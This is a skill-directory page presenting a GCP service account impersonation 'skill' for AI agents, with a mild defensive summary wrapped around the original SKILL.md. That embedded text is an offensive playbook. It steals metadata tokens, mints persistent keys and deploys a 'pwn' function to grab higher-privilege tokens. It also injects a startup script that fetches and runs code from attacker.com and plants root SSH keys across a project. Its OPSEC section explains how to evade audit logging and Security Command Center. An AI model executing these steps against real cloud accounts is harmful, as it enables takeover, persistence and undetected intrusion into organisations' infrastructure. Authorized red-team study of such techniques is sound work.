gcp-svc-account-impersonation
What it does
This skill covers ways a low-privilege Google Cloud service account could act as a more powerful one through impersonation roles. It is for cloud teams checking who can impersonate whom.
When to use it
- ✓When an authorized review needs to find service account impersonation chains.
- ✓When you want to check who holds token creator or service account user roles.
- ✓When a team is reviewing which functions or virtual machines run as powerful accounts.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agent’s skills folder.
Example of what to ask your AI
“Can you check whether any of our low-privilege service accounts can impersonate an admin account in Google Cloud?”
5 new skills a week. 1 minute to read.
How it works
The agent lists the impersonation-related roles and checks which accounts can use them to act as others, then reports the chains it finds.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
GCP Service Account Impersonation
You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.
Steal the token
From GCE / GKE / Cloud Run / Functions
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| jq -r .access_token)
# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
From a leaked key.json
gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)
Phase 1: Enumerate current permissions
# Which projects are you in?
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'
# What can you do in a project?
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
--permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')
# Or use the bucket-list shortcut (most SAs can list):
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'
Phase 2: Impersonation primitives
roles/iam.serviceAccountTokenCreator
If you have iam.serviceAccounts.getAccessToken on a higher-priv SA:
gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com
# OR raw:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/highpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken" \
| jq -r .accessToken
iam.serviceAccountKeys.create
Mint a permanent JSON key for any SA you can act-on:
gcloud iam service-accounts keys create /tmp/k.json \
--iam-account=target@PROJECT.iam.gserviceaccount.com
# Long-lived credential — survives token rotation.
cloudfunctions.functions.update + actAs
Deploy a function that runs AS a more-priv SA:
mkdir fn && cat > fn/main.py <<'EOF'
def pwn(request):
import subprocess
out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
return out
EOF
echo "" > fn/requirements.txt
gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \
--service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn
# Then HTTP-call it to get the higher-priv token
compute.instances.setMetadata
Inject a startup-script that runs as the VM's SA on next boot:
gcloud compute instances add-metadata target-vm --zone=us-central1-a \
--metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'
gcloud compute instances reset target-vm --zone=us-central1-a
compute.projects.setCommonInstanceMetadata
Project-wide metadata = SSH key on every VM in the project:
ssh-keygen -t ed25519 -f ./pwn -N ''
gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)"
Phase 3: Cross-project pivot
# If your token has `resourcemanager.organizations.get`, you can see the org tree
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/organizations" | jq .
# Find SAs with cross-project bindings
for p in $(gcloud projects list --format='value(projectId)'); do
echo "=== $p ==="
gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"'
done
OPSEC
- Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.
- Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).
- Key creation creates a Cloud Audit
google.iam.admin.v1.CreateServiceAccountKeyevent — high-fidelity detection. - GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.
Refe
FAQ
Which roles matter most?
The skill names token creator, service account user and actAs permissions on functions, Cloud Run and compute instances.
What access does it assume at the start?
It assumes some Google Cloud credentials are already available, such as those on a virtual machine.
How is the result used?
Teams use it to remove impersonation rights that are not needed.
Details
Original description by the author
GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13997
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- …
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.